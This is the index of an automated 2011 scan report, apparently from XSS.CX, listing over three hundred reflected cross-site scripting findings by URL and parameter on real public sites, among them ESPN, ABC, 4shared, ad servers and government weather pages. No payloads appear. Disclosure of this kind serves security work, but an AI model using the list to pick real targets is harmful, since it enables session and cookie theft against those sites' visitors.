XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, 10182011-04

Report generated by XSS.CX at Tue Oct 18 07:58:25 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. Cross-site scripting (reflected)

1.1. http://66.226.75.109/areaCodes/detail/240/x22 [REST URL parameter 3]

1.2. http://a.collective-media.net/adj/manta.comp/energy_resources [REST URL parameter 2]

1.3. http://a.collective-media.net/adj/manta.comp/energy_resources [REST URL parameter 3]

1.4. http://a.collective-media.net/adj/manta.comp/energy_resources [k parameter]

1.5. http://a.collective-media.net/adj/manta.comp/energy_resources [name of an arbitrarily supplied request parameter]

1.6. http://a.collective-media.net/adj/manta.comp/energy_resources [pos parameter]

1.7. http://a.collective-media.net/cmadj/manta.comp/energy_resources [REST URL parameter 1]

1.8. http://a.collective-media.net/cmadj/manta.comp/energy_resources [REST URL parameter 2]

1.9. http://a.collective-media.net/cmadj/manta.comp/energy_resources [REST URL parameter 3]

1.10. http://a.collective-media.net/cmadj/manta.comp/energy_resources [k parameter]

1.11. http://a.collective-media.net/cmadj/manta.comp/energy_resources [name of an arbitrarily supplied request parameter]

1.12. http://a.collective-media.net/cmadj/manta.comp/energy_resources [pos parameter]

1.13. http://a.espncdn.com/combiner/c [css parameter]

1.14. http://a.espncdn.com/combiner/c [js parameter]

1.15. http://a.espncdn.com/combiner/c/201012011221 [js parameter]

1.16. http://a.espncdn.com/combiner/c/201012011221 [js parameter]

1.17. http://abc.go.com/watch [aa parameter]

1.18. http://abc.go.com/watch [aa parameter]

1.19. http://abc.go.com/watch [aff parameter]

1.20. http://abc.go.com/watch [aff parameter]

1.21. http://abc.go.com/watch [al parameter]

1.22. http://abc.go.com/watch [al parameter]

1.23. http://abc.go.com/watch [i parameter]

1.24. http://abc.go.com/watch [i parameter]

1.25. http://abc.go.com/watch [name of an arbitrarily supplied request parameter]

1.26. http://abc.go.com/watch [name of an arbitrarily supplied request parameter]

1.27. http://abc.go.com/watch [partner parameter]

1.28. http://abc.go.com/watch [partner parameter]

1.29. http://abc.go.com/watch [pc parameter]

1.30. http://abc.go.com/watch [pc parameter]

1.31. http://abc.go.com/watch [pl parameter]

1.32. http://abc.go.com/watch [pl parameter]

1.33. http://abclocal.go.com/wls/story [section parameter]

1.34. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [adurl parameter]

1.35. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [ai parameter]

1.36. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [client parameter]

1.37. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [num parameter]

1.38. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [sig parameter]

1.39. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [sz parameter]

1.40. http://ad.doubleclick.net/adj/KOMO/HOME [sz parameter]

1.41. http://ad.doubleclick.net/adj/KOMO/HOME [sz parameter]

1.42. http://ak.quantcast.com/css/ie6.css [REST URL parameter 1]

1.43. http://ak.quantcast.com/css/ie6.css [REST URL parameter 2]

1.44. http://ak.quantcast.com/css/ie7.css [REST URL parameter 1]

1.45. http://ak.quantcast.com/css/ie7.css [REST URL parameter 2]

1.46. http://ak.quantcast.com/dynamic-css/screen-optimized.css [REST URL parameter 1]

1.47. http://ak.quantcast.com/dynamic-css/screen-optimized.css [REST URL parameter 2]

1.48. http://ak.quantcast.com/images/sprite.png [REST URL parameter 1]

1.49. http://ak.quantcast.com/images/sprite.png [REST URL parameter 2]

1.50. http://ak.quantcast.com/js/concat.js [REST URL parameter 1]

1.51. http://ak.quantcast.com/js/concat.js [REST URL parameter 2]

1.52. http://api.bing.com/qsonhs.aspx [q parameter]

1.53. http://areacode.org/803 [name of an arbitrarily supplied request parameter]

1.54. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 [REST URL parameter 2]

1.55. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 [REST URL parameter 3]

1.56. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 [REST URL parameter 4]

1.57. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 [REST URL parameter 5]

1.58. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 [REST URL parameter 6]

1.59. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 [REST URL parameter 7]

1.60. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 [REST URL parameter 2]

1.61. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 [REST URL parameter 3]

1.62. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 [REST URL parameter 4]

1.63. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 [REST URL parameter 5]

1.64. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 [REST URL parameter 6]

1.65. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 [REST URL parameter 7]

1.66. http://broadband.espn.go.com/espn3/auth/espnnetworks/user [callback parameter]

1.67. http://dc305.4shared.com/main/upload.jsp [REST URL parameter 1]

1.68. http://dc305.4shared.com/main/upload.jsp [REST URL parameter 2]

1.69. http://dc308.4shared.com/main/upload.jsp [REST URL parameter 1]

1.70. http://dc308.4shared.com/main/upload.jsp [REST URL parameter 2]

1.71. http://digg.com/submit [REST URL parameter 1]

1.72. http://ds.addthis.com/red/psi/sites/www.manta.com/p.json [callback parameter]

1.73. http://e1.cdn.qnsr.com/cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js [REST URL parameter 10]

1.74. http://e1.cdn.qnsr.com/cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js [REST URL parameter 11]

1.75. http://e1.cdn.qnsr.com/cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js [REST URL parameter 4]

1.76. http://e1.cdn.qnsr.com/cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js [REST URL parameter 7]

1.77. http://e1.cdn.qnsr.com/cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js [REST URL parameter 8]

1.78. http://e1.cdn.qnsr.com/cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js [REST URL parameter 9]

1.79. http://e2.cdn.qnsr.com//cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js [REST URL parameter 10]

1.80. http://e2.cdn.qnsr.com//cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js [REST URL parameter 11]

1.81. http://e2.cdn.qnsr.com//cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js [REST URL parameter 4]

1.82. http://e2.cdn.qnsr.com//cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js [REST URL parameter 7]

1.83. http://e2.cdn.qnsr.com//cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js [REST URL parameter 8]

1.84. http://e2.cdn.qnsr.com//cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js [REST URL parameter 9]

1.85. http://e2.cdn.qnsr.com//cgi/k/20132865/1537/0/0/203687984/203687984//0/203/9542//1000002/i.js [REST URL parameter 7]

1.86. http://e2.cdn.qnsr.com//cgi/k/20135122/1793/0/0/203687991/203687991//0/203/9542//5000005/i.js [REST URL parameter 7]

1.87. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 10]

1.88. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 11]

1.89. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 4]

1.90. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 5]

1.91. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 6]

1.92. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 7]

1.93. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 8]

1.94. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 9]

1.95. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 10]

1.96. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 11]

1.97. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 4]

1.98. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 5]

1.99. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 6]

1.100. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 7]

1.101. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 8]

1.102. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 9]

1.103. http://e2.cdn.qnsr.com//cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js [REST URL parameter 10]

1.104. http://e2.cdn.qnsr.com//cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js [REST URL parameter 11]

1.105. http://e2.cdn.qnsr.com//cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js [REST URL parameter 4]

1.106. http://e2.cdn.qnsr.com//cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js [REST URL parameter 7]

1.107. http://e2.cdn.qnsr.com//cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js [REST URL parameter 8]

1.108. http://e2.cdn.qnsr.com//cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js [REST URL parameter 9]

1.109. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 10]

1.110. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 11]

1.111. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 4]

1.112. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 5]

1.113. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 6]

1.114. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 7]

1.115. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 8]

1.116. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 9]

1.117. http://espn.go.com/blog/new-york/hockey/category/_/name/new-jersey-devils [REST URL parameter 7]

1.118. http://espn.go.com/blog/new-york/hockey/category/_/name/new-york-islanders [REST URL parameter 7]

1.119. http://espn.go.com/blog/new-york/hockey/category/_/name/new-york-rangers [REST URL parameter 7]

1.120. http://espn.go.com/blog/new-york/knicks/post/_/id/2851/melo-will-wear-no-7-for-the-knicks [REST URL parameter 8]

1.121. http://espn.go.com/blog/new-york/knicks/post/_/id/2851/melo-will-wear-no-7-for-the-knicks [name of an arbitrarily supplied request parameter]

1.122. http://espn.go.com/blog/new-yorkjets/post/_/id/4686/rex-tannenbaum-ready-for-prime-time [REST URL parameter 7]

1.123. http://espn.go.com/blog/new-yorkjets/post/_/id/4686/rex-tannenbaum-ready-for-prime-time [name of an arbitrarily supplied request parameter]

1.124. http://espn.go.com/espn/rss/newyork/news [name of an arbitrarily supplied request parameter]

1.125. http://espn.go.com/ncb/conversation [name of an arbitrarily supplied request parameter]

1.126. http://espn.go.com/new-york/columns/archive [name parameter]

1.127. http://espn.go.com/videohub/mpf/config.prodXml [adminOver parameter]

1.128. http://forecast.weather.gov/product.php [highlight parameter]

1.129. http://games.espn.go.com/frontpage/ [REST URL parameter 1]

1.130. http://ib.adnxs.com/ab [cnd parameter]

1.131. http://insider.espn.go.com/mlb/blog [name of an arbitrarily supplied request parameter]

1.132. https://login.barracudanetworks.com/ [name of an arbitrarily supplied request parameter]

1.133. http://mf.sitescout.com/tag.jsp [h parameter]

1.134. http://mf.sitescout.com/tag.jsp [pid parameter]

1.135. http://mf.sitescout.com/tag.jsp [w parameter]

1.136. http://pittsburgh.citysearch.com/guide/bloomfield-pittsburgh-pa/x26amp [name of an arbitrarily supplied request parameter]

1.137. http://pittsburgh.citysearch.com/guide/pittsburgh-pa/x26amp [name of an arbitrarily supplied request parameter]

1.138. http://pittsburgh.citysearch.com/listings/bloomfield/musical_instruments/8667_3948 [REST URL parameter 2]

1.139. http://pittsburgh.citysearch.com/listings/bloomfield/musical_instruments/8667_3948 [REST URL parameter 3]

1.140. http://pittsburgh.citysearch.com/listings/bloomfield/musical_instruments/8667_3948/x22 [name of an arbitrarily supplied request parameter]

1.141. http://projects.webappsec.org/w/page-revisions/13246986/Web-Application-Security-Scanner-Evaluation-Criteria [REST URL parameter 4]

1.142. http://projects.webappsec.org/w/page-revisions/13246986/a [REST URL parameter 4]

1.143. http://pubads.g.doubleclick.net/gampad/ads [slotname parameter]

1.144. http://qa.wimgo.com/bloomfield-nm/shopping/musical-instruments/x22 [REST URL parameter 3]

1.145. http://qa.wimgo.com/bloomfield-nm/shopping/musical-instruments/x22 [REST URL parameter 3]

1.146. http://qa.wimgo.com/bloomfield-nm/shopping/musical-instruments/x22 [REST URL parameter 4]

1.147. http://qa.wimgo.com/bloomfield-nm/shopping/musical-instruments/x22 [REST URL parameter 4]

1.148. http://qa.wimgo.com/bloomfield-nm/shopping/musical-instruments/x22 [name of an arbitrarily supplied request parameter]

1.149. http://qa.wimgo.com/bloomfield-nm/shopping/musical-instruments/x22 [name of an arbitrarily supplied request parameter]

1.150. https://r.espn.go.com/members/util/getUserInfo [cb parameter]

1.151. http://radar.weather.gov/radar_lite.php [loop parameter]

1.152. http://radar.weather.gov/radar_lite.php [product parameter]

1.153. http://recreationalequipmen.tt.omtrdc.net/m2/recreationalequipmen/mbox/standard [mbox parameter]

1.154. http://recs.richrelevance.com/rrserver/p13n_generated.js [ctp parameter]

1.155. http://response.restoration.noaa.gov/orr_search.php [message parameter]

1.156. http://response.restoration.noaa.gov/orr_search.php [name of an arbitrarily supplied request parameter]

1.157. http://rtb0.doubleverify.com/rtb.ashx/verifyc [callback parameter]

1.158. http://search.4shared.com/css/common.css [REST URL parameter 1]

1.159. http://search.4shared.com/css/common.css [REST URL parameter 2]

1.160. http://search.4shared.com/css/main.css [REST URL parameter 1]

1.161. http://search.4shared.com/css/main.css [REST URL parameter 2]

1.162. http://search.4shared.com/css/mainWithoutCommon.css [REST URL parameter 1]

1.163. http://search.4shared.com/css/mainWithoutCommon.css [REST URL parameter 2]

1.164. http://search.4shared.com/js/utils.js [REST URL parameter 1]

1.165. http://search.4shared.com/js/utils.js [REST URL parameter 2]

1.166. http://search.4shared.com/search.html [name of an arbitrarily supplied request parameter]

1.167. http://search.espn.go.com/s/ie8/suggestions [REST URL parameter 2]

1.168. http://search.espn.go.com/s/ie8/suggestions [REST URL parameter 3]

1.169. http://search.komonews.com/ [name of an arbitrarily supplied request parameter]

1.170. http://search.komonews.com/Boeing [name of an arbitrarily supplied request parameter]

1.171. http://search.komonews.com/Microsoft [name of an arbitrarily supplied request parameter]

1.172. http://search.komonews.com/National-Leaders/Barack-Obama [name of an arbitrarily supplied request parameter]

1.173. http://search.komonews.com/Sports/Mariners [name of an arbitrarily supplied request parameter]

1.174. http://search.komonews.com/Sports/Seahawks [name of an arbitrarily supplied request parameter]

1.175. http://search.komonews.com/Sports/Sounders [name of an arbitrarily supplied request parameter]

1.176. http://search.komonews.com/default.aspx [name of an arbitrarily supplied request parameter]

1.177. http://search.komonews.com/default.aspx [q parameter]

1.178. http://soccernet.espn.go.com/team [cc parameter]

1.179. http://soccernet.espn.go.com/team [cc parameter]

1.180. http://sports.espn.go.com/chicago/nba/columns/story [columnist parameter]

1.181. http://sports.espn.go.com/chicago/nfl/columns/story [columnist parameter]

1.182. http://sports.espn.go.com/chicago/teams/recap [sport parameter]

1.183. http://sports.espn.go.com/espn/js/uniloginInLineReplace [cb parameter]

1.184. http://sports.espn.go.com/golf/columns/story [columnist parameter]

1.185. http://sports.espn.go.com/mlb/columns/story [id parameter]

1.186. http://sports.espn.go.com/ncaa/columns/story [columnist parameter]

1.187. http://sports.espn.go.com/ncaa/columns/story [id parameter]

1.188. http://sports.espn.go.com/new-york/mlb/columns/story [columnist parameter]

1.189. http://sports.espn.go.com/new-york/nba/columns/story [columnist parameter]

1.190. http://sports.espn.go.com/new-york/ncb/columns/story [columnist parameter]

1.191. http://sports.espn.go.com/new-york/nfl/columns/story [columnist parameter]

1.192. http://sports.espn.go.com/new-york/teams/recap [sport parameter]

1.193. http://static.4shared.com/bundles/css/630963420/css/openid.css [REST URL parameter 1]

1.194. http://static.4shared.com/bundles/css/630963420/css/openid.css [REST URL parameter 2]

1.195. http://static.4shared.com/bundles/css/677814427/css/upload-frame.css [REST URL parameter 1]

1.196. http://static.4shared.com/bundles/css/677814427/css/upload-frame.css [REST URL parameter 2]

1.197. http://static.4shared.com/bundles/css/765844602/css/flags.css [REST URL parameter 1]

1.198. http://static.4shared.com/bundles/css/765844602/css/flags.css [REST URL parameter 2]

1.199. http://static.4shared.com/bundles/css/N162308233/css/network.css [REST URL parameter 1]

1.200. http://static.4shared.com/bundles/css/N162308233/css/network.css [REST URL parameter 2]

1.201. http://static.4shared.com/bundles/css/N90201876/css/ajax-suggestions.css [REST URL parameter 1]

1.202. http://static.4shared.com/bundles/css/N90201876/css/ajax-suggestions.css [REST URL parameter 2]

1.203. http://static.4shared.com/bundles/css/gzip_630963420/css/openid.css [REST URL parameter 1]

1.204. http://static.4shared.com/bundles/css/gzip_630963420/css/openid.css [REST URL parameter 2]

1.205. http://static.4shared.com/bundles/css/gzip_677814427/css/upload-frame.css [REST URL parameter 1]

1.206. http://static.4shared.com/bundles/css/gzip_677814427/css/upload-frame.css [REST URL parameter 2]

1.207. http://static.4shared.com/bundles/css/gzip_N90201876/css/ajax-suggestions.css [REST URL parameter 1]

1.208. http://static.4shared.com/bundles/css/gzip_N90201876/css/ajax-suggestions.css [REST URL parameter 2]

1.209. http://static.4shared.com/bundles/js/1258691160/bundles/js/global.js [REST URL parameter 1]

1.210. http://static.4shared.com/bundles/js/1258691160/bundles/js/global.js [REST URL parameter 2]

1.211. http://static.4shared.com/bundles/js/gzip_1258691160/bundles/js/global.js [REST URL parameter 1]

1.212. http://static.4shared.com/bundles/js/gzip_1258691160/bundles/js/global.js [REST URL parameter 2]

1.213. http://static.4shared.com/css/4shFeatures.css [REST URL parameter 1]

1.214. http://static.4shared.com/css/4shFeatures.css [REST URL parameter 2]

1.215. http://static.4shared.com/css/common.css [REST URL parameter 1]

1.216. http://static.4shared.com/css/common.css [REST URL parameter 2]

1.217. http://static.4shared.com/css/coolbuttons.css [REST URL parameter 1]

1.218. http://static.4shared.com/css/coolbuttons.css [REST URL parameter 2]

1.219. http://static.4shared.com/css/features.css [REST URL parameter 1]

1.220. http://static.4shared.com/css/features.css [REST URL parameter 2]

1.221. http://static.4shared.com/css/indexm.css [REST URL parameter 1]

1.222. http://static.4shared.com/css/indexm.css [REST URL parameter 2]

1.223. http://static.4shared.com/css/indexn.css [REST URL parameter 1]

1.224. http://static.4shared.com/css/indexn.css [REST URL parameter 2]

1.225. http://static.4shared.com/css/main.css [REST URL parameter 1]

1.226. http://static.4shared.com/css/main.css [REST URL parameter 2]

1.227. http://static.4shared.com/css/mainWithoutCommon.css [REST URL parameter 1]

1.228. http://static.4shared.com/css/mainWithoutCommon.css [REST URL parameter 2]

1.229. http://static.4shared.com/css/openid.css [REST URL parameter 1]

1.230. http://static.4shared.com/css/openid.css [REST URL parameter 2]

1.231. http://static.4shared.com/css/pageDownload1/download.css [REST URL parameter 1]

1.232. http://static.4shared.com/css/pageDownload1/download.css [REST URL parameter 2]

1.233. http://static.4shared.com/css/pageDownload1/download.css [REST URL parameter 3]

1.234. http://static.4shared.com/css/pageDownload1/downloadWithoutCommon.css [REST URL parameter 1]

1.235. http://static.4shared.com/css/pageDownload1/downloadWithoutCommon.css [REST URL parameter 2]

1.236. http://static.4shared.com/css/pageDownload1/downloadWithoutCommon.css [REST URL parameter 3]

1.237. http://static.4shared.com/css/tutorial.css [REST URL parameter 1]

1.238. http://static.4shared.com/css/tutorial.css [REST URL parameter 2]

1.239. http://static.4shared.com/desktop/desktop.css [REST URL parameter 1]

1.240. http://static.4shared.com/desktop/desktop.css [REST URL parameter 2]

1.241. http://static.4shared.com/dwr/engine.js [REST URL parameter 1]

1.242. http://static.4shared.com/dwr/engine.js [REST URL parameter 2]

1.243. http://static.4shared.com/dwr/interface/DirChecks.js [REST URL parameter 1]

1.244. http://static.4shared.com/dwr/interface/DirChecks.js [REST URL parameter 2]

1.245. http://static.4shared.com/favicon.ico [REST URL parameter 1]

1.246. http://static.4shared.com/images/all1.png [REST URL parameter 1]

1.247. http://static.4shared.com/images/all1.png [REST URL parameter 2]

1.248. http://static.4shared.com/images/bg14.png [REST URL parameter 1]

1.249. http://static.4shared.com/images/bg14.png [REST URL parameter 2]

1.250. http://static.4shared.com/images/facebook/login-button.png [REST URL parameter 1]

1.251. http://static.4shared.com/images/facebook/login-button.png [REST URL parameter 2]

1.252. http://static.4shared.com/images/facebook/login-button.png [REST URL parameter 3]

1.253. http://static.4shared.com/images/googleW.png [REST URL parameter 1]

1.254. http://static.4shared.com/images/googleW.png [REST URL parameter 2]

1.255. http://static.4shared.com/images/icons/16x16/close.gif [REST URL parameter 1]

1.256. http://static.4shared.com/images/icons/16x16/close.gif [REST URL parameter 2]

1.257. http://static.4shared.com/images/icons/16x16/close.gif [REST URL parameter 3]

1.258. http://static.4shared.com/images/icons/16x16/close.gif [REST URL parameter 4]

1.259. http://static.4shared.com/images/icons/16x16/stop.gif [REST URL parameter 1]

1.260. http://static.4shared.com/images/icons/16x16/stop.gif [REST URL parameter 2]

1.261. http://static.4shared.com/images/icons/16x16/stop.gif [REST URL parameter 3]

1.262. http://static.4shared.com/images/icons/16x16/stop.gif [REST URL parameter 4]

1.263. http://static.4shared.com/images/icons/misc/upload.gif [REST URL parameter 1]

1.264. http://static.4shared.com/images/icons/misc/upload.gif [REST URL parameter 2]

1.265. http://static.4shared.com/images/icons/misc/upload.gif [REST URL parameter 3]

1.266. http://static.4shared.com/images/icons/misc/upload.gif [REST URL parameter 4]

1.267. http://static.4shared.com/images/ipic.jpg [REST URL parameter 1]

1.268. http://static.4shared.com/images/ipic.jpg [REST URL parameter 2]

1.269. http://static.4shared.com/js/dw_drag.js [REST URL parameter 1]

1.270. http://static.4shared.com/js/dw_drag.js [REST URL parameter 2]

1.271. http://static.4shared.com/js/dw_event.js [REST URL parameter 1]

1.272. http://static.4shared.com/js/dw_event.js [REST URL parameter 2]

1.273. http://static.4shared.com/js/dw_viewport.js [REST URL parameter 1]

1.274. http://static.4shared.com/js/dw_viewport.js [REST URL parameter 2]

1.275. http://static.4shared.com/js/dw_writedrag.js [REST URL parameter 1]

1.276. http://static.4shared.com/js/dw_writedrag.js [REST URL parameter 2]

1.277. http://static.4shared.com/js/index.js [REST URL parameter 1]

1.278. http://static.4shared.com/js/index.js [REST URL parameter 2]

1.279. http://static.4shared.com/js/jquery-1.4.4.min.js [REST URL parameter 1]

1.280. http://static.4shared.com/js/jquery-1.4.4.min.js [REST URL parameter 2]

1.281. http://static.4shared.com/js/login_fnc.js [REST URL parameter 1]

1.282. http://static.4shared.com/js/login_fnc.js [REST URL parameter 2]

1.283. http://static.4shared.com/js/plugins/jquery.openid.js [REST URL parameter 1]

1.284. http://static.4shared.com/js/plugins/jquery.openid.js [REST URL parameter 2]

1.285. http://static.4shared.com/js/plugins/jquery.openid.js [REST URL parameter 3]

1.286. http://static.4shared.com/js/signup-script.jsp [REST URL parameter 1]

1.287. http://static.4shared.com/js/signup-script.jsp [REST URL parameter 2]

1.288. http://static.4shared.com/press_room/press_room.css [REST URL parameter 1]

1.289. http://static.4shared.com/press_room/press_room.css [REST URL parameter 2]

1.290. http://static.4shared.com/themes/default.css [REST URL parameter 1]

1.291. http://static.4shared.com/themes/default.css [REST URL parameter 2]

1.292. http://technorati.com/cosmos/search.html [url parameter]

1.293. http://technorati.com/cosmos/search.html [url parameter]

1.294. http://uid.shoplocal.com/uid.aspx [callback parameter]

1.295. http://wiki.answers.com/Q/FAQ/1873/x26amp [REST URL parameter 1]

1.296. http://wiki.answers.com/Q/FAQ/1873/x26amp [REST URL parameter 2]

1.297. http://wiki.answers.com/Q/FAQ/1873/x26amp [REST URL parameter 3]

1.298. http://wiki.answers.com/Q/FAQ/1873/x26amp [REST URL parameter 3]

1.299. http://wiki.answers.com/Q/FAQ/1873/x26amp [REST URL parameter 4]

1.300. http://wiki.answers.com/Q/FAQ/1873/x26amp [REST URL parameter 4]

1.301. http://wiki.answers.com/Q/FAQ/1873/x26amp [name of an arbitrarily supplied request parameter]

1.302. http://wiki.answers.com/Q/FAQ/2637/x26amp [REST URL parameter 1]

1.303. http://wiki.answers.com/Q/FAQ/2637/x26amp [REST URL parameter 2]

1.304. http://wiki.answers.com/Q/FAQ/2637/x26amp [REST URL parameter 3]

1.305. http://wiki.answers.com/Q/FAQ/2637/x26amp [REST URL parameter 3]

1.306. http://wiki.answers.com/Q/FAQ/2637/x26amp [REST URL parameter 4]

1.307. http://wiki.answers.com/Q/FAQ/2637/x26amp [REST URL parameter 4]

1.308. http://wiki.answers.com/Q/FAQ/2637/x26amp [name of an arbitrarily supplied request parameter]

1.309. http://www.4shared.com/advertise/ [REST URL parameter 1]

1.310. http://www.4shared.com/advertise/banners/desktop/300x250.jsp [REST URL parameter 1]

1.311. http://www.4shared.com/advertise/banners/desktop/300x250.jsp [REST URL parameter 2]

1.312. http://www.4shared.com/advertise/banners/desktop/300x250.jsp [REST URL parameter 3]

1.313. http://www.4shared.com/advertise/banners/desktop/300x250.jsp [REST URL parameter 4]

1.314. http://www.4shared.com/advertise/banners/desktop/728x90.jsp [REST URL parameter 1]

1.315. http://www.4shared.com/advertise/banners/desktop/728x90.jsp [REST URL parameter 2]

1.316. http://www.4shared.com/advertise/banners/desktop/728x90.jsp [REST URL parameter 3]

1.317. http://www.4shared.com/advertise/banners/desktop/728x90.jsp [REST URL parameter 4]

1.318. http://www.4shared.com/contact.jsp [REST URL parameter 1]

1.319. http://www.4shared.com/css/common.css [REST URL parameter 1]

1.320. http://www.4shared.com/css/common.css [REST URL parameter 2]

1.321. http://www.4shared.com/css/main.css [REST URL parameter 1]

1.322. http://www.4shared.com/css/main.css [REST URL parameter 2]

1.323. http://www.4shared.com/css/mainWithoutCommon.css [REST URL parameter 1]

1.324. http://www.4shared.com/css/mainWithoutCommon.css [REST URL parameter 2]

1.325. http://www.4shared.com/desktop/ [REST URL parameter 1]

1.326. http://www.4shared.com/enter.jsp [REST URL parameter 1]

1.327. http://www.4shared.com/enter.jsp [au parameter]

1.328. http://www.4shared.com/faq.jsp [REST URL parameter 1]

1.329. http://www.4shared.com/favicon.ico [REST URL parameter 1]

1.330. http://www.4shared.com/icons/16x16/ [REST URL parameter 1]

1.331. http://www.4shared.com/icons/16x16/ [REST URL parameter 2]

1.332. http://www.4shared.com/images/blueBanner_plus.gif [REST URL parameter 1]

1.333. http://www.4shared.com/images/blueBanner_plus.gif [REST URL parameter 2]

1.334. http://www.4shared.com/images/index-premium-features.png [REST URL parameter 1]

